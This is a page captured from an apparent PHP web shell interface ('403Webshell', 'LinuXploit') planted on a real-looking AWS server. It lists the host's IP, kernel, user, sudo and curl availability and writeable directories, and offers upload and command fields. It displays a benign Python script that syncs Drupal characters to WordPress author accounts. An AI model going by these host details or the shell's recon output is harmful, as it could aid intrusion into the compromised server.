403Webshell
Server IP : 3.147.158.171  /  Your IP : 216.73.216.88
Web Server : Apache/2.4.67 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-2-178.us-east-2.compute.internal 6.1.172-216.329.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 20 06:31:34 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /tsai/www/html/api.turmansolutions.ai/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tsai/www/html/api.turmansolutions.ai/scripts/register_characters.py
from __future__ import annotations

"""
Register legacy characters in WordPress.

Finds characters in Drupal that have no corresponding WordPress author account
and registers them. Useful for characters created before registration was moved
to character-creation time.

Usage:
    cd api
    python scripts/register_characters.py --site guitar
    python scripts/register_characters.py              # all sites
    python scripts/register_characters.py --site guitar --fix-emails  # fix @example.com emails
    python scripts/register_characters.py --backfill-uuids             # backfill tsai_character_uuid meta on all sites
"""

import argparse
import logging
import secrets
import string
import sys
from pathlib import Path

API_DIR = Path(__file__).resolve().parent.parent
sys.path.insert(0, str(API_DIR))

import requests
from dotenv import load_dotenv

load_dotenv(API_DIR / '.env')

from app.services.wp import WpService, USERS_URL
from app.services.site_config_service import SiteConfigService
from app.services.drupal import DrupalService


logging.basicConfig(
    level=logging.INFO,
    format='%(levelname)s %(asctime)s %(message)s',
    datefmt='%m/%d/%Y %I:%M:%S %p',
)
logger = logging.getLogger(__name__)


def _random_password(length: int = 16) -> str:
    return ''.join(secrets.choice(string.ascii_letters + string.digits) for _ in range(length))


def register_for_site(site, all_character_data, wp_service: WpService, drupal_service: DrupalService) -> tuple[int, int, int]:
    """Register unregistered characters for a site. Returns (registered, skipped, failed)."""
    logger.info(f'[{site.slug}] Fetching WP users from {site.wp_host}')
    token = wp_service.get_jwt_token(site)
    if not token or isinstance(token, dict):
        logger.error(f'[{site.slug}] Could not get JWT token — skipping')
        return 0, 0, 0

    wp_users = wp_service.get_users(site, token)
    if wp_users is None:
        logger.error(f'[{site.slug}] Could not fetch WP users — skipping')
        return 0, 0, 0

    existing_names = {u['name'] for u in wp_users}
    logger.info(f'[{site.slug}] {len(existing_names)} existing WP users')

    registered = 0
    skipped = 0
    failed = 0

    for char_data in all_character_data:
        character = drupal_service.create_character(None, char_data)

        belongs_to_site = character.siteId == site.slug or character.systemWide
        if not belongs_to_site:
            continue

        if character.name in existing_names:
            logger.info(
                f'[{site.slug}] {character.name} — already registered, skipping')
            skipped += 1
            continue

        result = wp_service.register_user(
            site=site,
            token=token,
            username=character.name,
            email=character.email,
            password=_random_password(),
            first_name=character.name,
            last_name=None,
            roles=['author'],
        )

        if result['success']:
            logger.info(
                f'[{site.slug}] Registered {character.name} (WP ID {result["user_id"]})')
            existing_names.add(character.name)
            registered += 1
        else:
            logger.error(
                f'[{site.slug}] Failed to register {character.name}: {result["message"]}')
            failed += 1

    return registered, skipped, failed


def fix_emails_for_site(site, all_character_data, wp_service: WpService, drupal_service: DrupalService) -> tuple[int, int, int]:
    """Update WP users whose email ends in @example.com to use the character's real email.
    Returns (updated, skipped, failed)."""
    logger.info(f'[{site.slug}] Fixing example.com emails at {site.wp_host}')
    token = wp_service.get_jwt_token(site)
    if not token or isinstance(token, dict):
        logger.error(f'[{site.slug}] Could not get JWT token — skipping')
        return 0, 0, 0

    # Fetch users with edit context so the email field is included in the response
    headers_auth = {'Authorization': f'Bearer {token}'}
    users_response = requests.get(
        f'{site.wp_host}{USERS_URL}?per_page=100&context=edit',
        headers=headers_auth,
    )
    if users_response.status_code != 200:
        logger.error(f'[{site.slug}] Could not fetch WP users — skipping')
        return 0, 0, 0
    wp_users = users_response.json()

    # Build name → character map for this site
    name_to_character = {}
    for char_data in all_character_data:
        character = drupal_service.create_character(None, char_data)
        if character.siteId == site.slug or character.systemWide:
            name_to_character[character.name] = character

    headers = {'Authorization': f'Bearer {token}',
               'Content-Type': 'application/json'}
    updated = 0
    skipped = 0
    failed = 0

    for wp_user in wp_users:
        if not wp_user.get('email', '').endswith('@example.com'):
            skipped += 1
            continue

        character = name_to_character.get(wp_user['name'])
        if not character:
            logger.warning(
                f'[{site.slug}] No Drupal character found for WP user "{wp_user["name"]}" — skipping')
            skipped += 1
            continue

        url = f'{site.wp_host}{USERS_URL}/{wp_user["id"]}'
        response = requests.post(url, headers=headers, json={
                                 'email': character.email})

        if response.status_code == 200:
            logger.info(
                f'[{site.slug}] Updated {wp_user["name"]} email → {character.email}')
            updated += 1
        else:
            logger.error(
                f'[{site.slug}] Failed to update {wp_user["name"]}: {response.status_code} {response.text}')
            failed += 1

    return updated, skipped, failed


def backfill_uuids_for_site(site, all_character_data, wp_service: WpService, drupal_service: DrupalService) -> tuple[int, int, int]:
    """Write each WP user's tsai_character_uuid meta to its Drupal character UUID.
    Returns (updated, skipped, failed)."""
    logger.info(f'[{site.slug}] Backfilling tsai_character_uuid at {site.wp_host}')
    token = wp_service.get_jwt_token(site)
    if not token or isinstance(token, dict):
        logger.error(f'[{site.slug}] Could not get JWT token — skipping')
        return 0, 0, 0

    wp_users = wp_service.get_users(site, token)
    if wp_users is None:
        logger.error(f'[{site.slug}] Could not fetch WP users — skipping')
        return 0, 0, 0

    name_to_character = {}
    for char_data in all_character_data:
        character = drupal_service.create_character(None, char_data)
        if character.siteId == site.slug or character.systemWide:
            name_to_character[character.name] = character

    headers = {'Authorization': f'Bearer {token}',
               'Content-Type': 'application/json'}
    updated = 0
    skipped = 0
    failed = 0

    for wp_user in wp_users:
        # Only author-role users represent characters. Skip admins/editors/etc.
        # to avoid e.g. a service user whose display name happens to match a
        # Drupal character (the "Scike" service user vs. a "Scike" character).
        roles = wp_user.get('roles') or []
        if 'author' not in roles:
            skipped += 1
            continue

        character = name_to_character.get(wp_user['name'])
        if not character:
            logger.warning(
                f'[{site.slug}] No Drupal character found for WP user "{wp_user["name"]}" — skipping')
            skipped += 1
            continue

        if not character.storageId:
            logger.warning(
                f'[{site.slug}] Character {character.name} has no storageId — skipping')
            skipped += 1
            continue

        meta = wp_user.get('meta') if isinstance(wp_user, dict) else None
        existing_uuid = ''
        if isinstance(meta, dict):
            existing_uuid = meta.get('tsai_character_uuid') or ''

        if existing_uuid == character.storageId:
            logger.info(
                f'[{site.slug}] {character.name} — already has correct UUID, skipping')
            skipped += 1
            continue

        url = f'{site.wp_host}{USERS_URL}/{wp_user["id"]}'
        response = requests.post(url, headers=headers, json={
                                 'meta': {'tsai_character_uuid': character.storageId}})

        if response.status_code in (200, 201):
            logger.info(
                f'[{site.slug}] Set tsai_character_uuid={character.storageId} on {character.name} (WP ID {wp_user["id"]})')
            updated += 1
        else:
            logger.error(
                f'[{site.slug}] Failed to set UUID on {character.name}: {response.status_code} {response.text}')
            failed += 1

    return updated, skipped, failed


def main() -> int:
    parser = argparse.ArgumentParser(
        description='Register unregistered Drupal characters in WordPress')
    parser.add_argument(
        '--site', help='Site slug to process (default: all sites)')
    mode = parser.add_mutually_exclusive_group()
    mode.add_argument('--fix-emails', action='store_true',
                      help='Update existing WP users that have @example.com emails')
    mode.add_argument('--backfill-uuids', action='store_true',
                      help='Write tsai_character_uuid meta on existing WP users')
    args = parser.parse_args()

    site_service = SiteConfigService()
    wp_service = WpService()
    drupal_service = DrupalService()

    if args.site:
        site = site_service.get_site_by_slug(args.site)
        if not site:
            logger.error(f'Unknown site slug: {args.site}')
            return 1
        sites = [site]
    else:
        sites = site_service.get_all_sites()

    logger.info(f'Fetching all characters from Drupal...')
    all_character_data = drupal_service.fetch_all_characters()
    logger.info(f'Found {len(all_character_data)} total characters in Drupal')

    if args.fix_emails:
        label_a = 'updated'
    elif args.backfill_uuids:
        label_a = 'backfilled'
    else:
        label_a = 'registered'
    total_a = 0
    total_skipped = 0
    total_failed = 0

    for site in sites:
        if args.fix_emails:
            a, s, f = fix_emails_for_site(
                site, all_character_data, wp_service, drupal_service)
        elif args.backfill_uuids:
            a, s, f = backfill_uuids_for_site(
                site, all_character_data, wp_service, drupal_service)
        else:
            a, s, f = register_for_site(
                site, all_character_data, wp_service, drupal_service)
        total_a += a
        total_skipped += s
        total_failed += f

    logger.info(
        f'Done — {label_a}: {total_a}, skipped: {total_skipped}, failed: {total_failed}')
    return 0 if total_failed == 0 else 1


if __name__ == '__main__':
    sys.exit(main())

Youez - 2016 - github.com/yon3zu
LinuXploit